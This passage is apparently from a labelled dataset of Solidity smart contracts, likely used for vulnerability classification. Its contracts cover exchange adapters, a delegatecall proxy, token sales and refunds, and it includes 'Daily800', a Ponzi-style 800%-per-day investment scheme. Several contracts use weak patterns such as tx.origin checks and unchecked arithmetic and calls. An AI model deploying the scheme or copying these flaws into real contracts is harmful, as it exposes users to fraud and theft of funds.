approveAddress(ERC20_ASSET_PROXY, toAddress(data.takerAssetData, 16));
weth.deposit.value(amountToGiveForOrder)();
LibFillResults.FillResults memory results = exchange.fillOrder(
getZeroExOrder(data),
amountToGiveForOrder,
data.signature
);
require(ERC20SafeTransfer.safeTransfer(toAddress(data.makerAssetData, 16), msg.sender, results.makerAssetFilledAmount));
amountSpentOnOrder = results.takerAssetFilledAmount;
amountReceivedFromOrder = results.makerAssetFilledAmount;
}
function performSellOrder_(
OrderData data
)
public
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
uint256 amountToGiveForOrder = toUint(msg.data, msg.data.length - 32);
approveAddress(ERC20_ASSET_PROXY, toAddress(data.takerAssetData, 16));
LibFillResults.FillResults memory results = exchange.fillOrder(
getZeroExOrder(data),
amountToGiveForOrder,
data.signature
);
weth.withdraw(results.makerAssetFilledAmount);
msg.sender.transfer(results.makerAssetFilledAmount);
amountSpentOnOrder = results.takerAssetFilledAmount;
amountReceivedFromOrder = results.makerAssetFilledAmount;
}
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return SafeMath.div(SafeMath.mul(numerator, target), denominator);
}
function toAddress(bytes _bytes, uint _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20));
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toBytes4(bytes _bytes, uint _start) internal pure returns (bytes4) {
require(_bytes.length >= (_start + 4));
bytes4 tempBytes4;
assembly {
tempBytes4 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes4;
}
function toUint(bytes _bytes, uint _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32));
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function getSelector(bytes4 genericSelector) public pure returns (bytes4) {
if (genericSelector == getAmountToGiveSelector) {
return bytes4(keccak256("getAmountToGive_((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes,bytes))"));
} else if (genericSelector == staticExchangeChecksSelector) {
return bytes4(keccak256("staticExchangeChecks_((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes,bytes))"));
} else if (genericSelector == performBuyOrderSelector) {
return bytes4(keccak256("performBuyOrder_((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes,bytes))"));
} else if (genericSelector == performSellOrderSelector) {
return bytes4(keccak256("performSellOrder_((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes,bytes))"));
} else {
return bytes4(0x0);
}
}
function() public payable {
require(msg.sender == address(weth));
}
} | 0 | 816 |
pragma solidity ^0.5.0;
contract Receiver {
address public implementation;
bool public isPayable;
event LogImplementationChanged(address _oldImplementation, address _newImplementation);
event LogPaymentReceived(address sender, uint256 value);
constructor(address _implementation, bool _isPayable)
public
{
require(_implementation != address(0), "Implementation address cannot be 0");
implementation = _implementation;
isPayable = _isPayable;
}
modifier onlyImplementation
{
require(msg.sender == implementation, "Only the contract implementation may perform this action");
_;
}
function drain()
external
onlyImplementation
{
msg.sender.call.value(address(this).balance)("");
}
function ()
external
payable
{
if (msg.sender != implementation) {
if (isPayable) {
emit LogPaymentReceived(msg.sender, msg.value);
} else {
revert("not payable");
}
} else {
assembly {
switch calldatasize
case 0 {
}
default {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, caller, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
}
} | 1 | 3,458 |
pragma solidity ^0.4.24;
contract Daily800 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 800;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 381 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract MCCBuyBack is OKLGWithdrawable {
address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address public MCC = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
address public stable = 0x55d398326f99059fF775485246999027B3197955;
IUniswapV2Router02 private router;
constructor() {
if (block.chainid == 56) {
router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
} else if (block.chainid == 97) {
router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);
} else if (block.chainid == 1 || block.chainid == 4) {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
} else if (block.chainid == 43114) {
router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
} else if (block.chainid == 250) {
router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
} else {
revert();
}
if (block.chainid == 56) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 97) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 1 || block.chainid == 4) {
stable = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
} else if (block.chainid == 43114) {
stable = 0x55d398326f99059fF775485246999027B3197955;
} else if (block.chainid == 250) {
stable = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75;
} else {
revert();
}
}
receive() external payable { }
function BuyforRewardsUsingTreasury() external payable {
require(msg.value >= 0.01 ether, 'Ensure Buy Back is Matched');
require((address(this).balance >= 0.1 ether), 'Ensure Buy Back Funds Are Present');
uint256 refundAmount = msg.value / 2;
uint256 swapAmount = (msg.value * 10) + refundAmount;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = MCC;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: swapAmount
}(
0,
path,
receiver,
block.timestamp
);
address[] memory pathstable = new address[](2);
pathstable[0] = router.WETH();
pathstable[1] = stable;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: refundAmount
}(
0,
pathstable,
tx.origin,
block.timestamp
);
}
function setMCC(address _MCC) external onlyOwner {
MCC = _MCC;
}
function setStables(address _stable) external onlyOwner {
stable = _stable;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 1 | 2,101 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender == owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "address(0) != _newOwner");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "msg.sender == newOwner");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
function originBurn(uint256 _value) public returns(bool);
}
contract Refund is Ownable{
using SafeMath for uint256;
tokenInterface public xcc;
mapping (address => uint256) public refunds;
constructor(address _xcc) public {
xcc = tokenInterface(_xcc);
}
function () public {
require ( msg.sender == tx.origin, "msg.sender == tx.orgin" );
uint256 xcc_amount = xcc.balanceOf(msg.sender);
require( xcc_amount > 0, "xcc_amount > 0" );
uint256 money = refunds[msg.sender];
require( money > 0 , "money > 0" );
refunds[msg.sender] = 0;
xcc.originBurn(xcc_amount);
msg.sender.transfer(money);
}
function setRefund(address _buyer) public onlyOwner payable {
refunds[_buyer] = refunds[_buyer].add(msg.value);
}
function cancelRefund(address _buyer) public onlyOwner {
uint256 money = refunds[_buyer];
require( money > 0 , "money > 0" );
refunds[_buyer] = 0;
owner.transfer(money);
}
function withdrawTokens(address tknAddr, address to, uint256 value) public onlyOwner returns (bool) {
return tokenInterface(tknAddr).transfer(to, value);
}
function withdraw(address to, uint256 value) public onlyOwner {
to.transfer(value);
}
} | 1 | 4,377 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract COBA2 is ERC20, Owned {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "COBA2";
string public constant symbol = "CB2";
uint public constant decimals = 8;
uint256 public totalSupply = 2000000000000000000;
uint256 public totalDistributed = 0;
uint256 public totalIcoDistributed = 0;
uint256 public constant minContribution = 1 ether / 100;
uint256 public tokensPerEth = 0;
uint256 public constant totalIco = 1500000000000000000;
uint256 public totalIcoDist = 0;
address storageIco = owner;
uint256 public constant totalAirdrop = 100000000000000000;
address storageAirdrop = 0xd06EA246FDb6Eb08C61bc0fe5Ba3865792c02202;
uint256 public constant totalDeveloper = 400000000000000000;
address storageDev = 0x341a7EF6CccE6302Da31b186597ae4144575f102;
uint public presaleStartTime = 1536853800;
uint256 public presalePerEth = 1400000000000000;
uint public icoStartTime = 1536854400;
uint256 public icoPerEth = 1300000000000000;
uint public ico1StartTime = 1536855000;
uint256 public ico1PerEth = 1200000000000000;
uint public ico2StartTime = 1536855600;
uint256 public ico2PerEth = 1100000000000000;
uint public icoOpenTime = presaleStartTime;
uint public icoEndTime = 1536856200;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Sent(address from, address to, uint amount);
bool public icoOpen = false;
bool public icoFinished = false;
bool public distributionFinished = false;
uint256 public tTokenPerEth = 0;
bool public tIcoOpen = false;
constructor() public {
balances[owner] = totalSupply;
Transfer(address(0), owner, totalSupply);
}
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
modifier canDistr() {
require(!distributionFinished);
_;
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
balances[owner] = balances[owner].sub(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function send(address receiver, uint amount) public {
if (balances[msg.sender] < amount) return;
balances[msg.sender] -= amount;
balances[receiver] += amount;
emit Sent(msg.sender, receiver, amount);
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
if (msg.sender == owner && msg.value == 0){
withdraw();
}
if(msg.sender != owner){
if ( now < icoOpenTime ){
revert('ICO does not open yet');
}
if ( ( now >= icoOpenTime ) && ( now <= icoEndTime ) ){
icoOpen = true;
}
if ( now > icoEndTime ){
icoOpen = false;
icoFinished = true;
distributionFinished = true;
}
if ( icoFinished == true ){
revert('ICO has finished');
}
if ( distributionFinished == true ){
revert('Token distribution has finished');
}
if ( icoOpen == true ){
if ( now >= presaleStartTime && now < icoStartTime){ tTokenPerEth = presalePerEth; }
if ( now >= icoStartTime && now < ico1StartTime){ tTokenPerEth = icoPerEth; }
if ( now >= ico1StartTime && now < ico2StartTime){ tTokenPerEth = ico1PerEth; }
if ( now >= ico2StartTime && now < icoEndTime){ tTokenPerEth = ico2PerEth; }
tokensPerEth = tTokenPerEth;
getTokens();
}
}
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minContribution );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if ( icoFinished == true ){
revert('ICO Has Finished');
}
if( balances[owner] < tokens ){
revert('Insufficient Token Balance or Sold Out.');
}
if (tokens < 0){
revert();
}
totalIcoDistributed += tokens;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalIcoDistributed >= totalIco) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,391 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
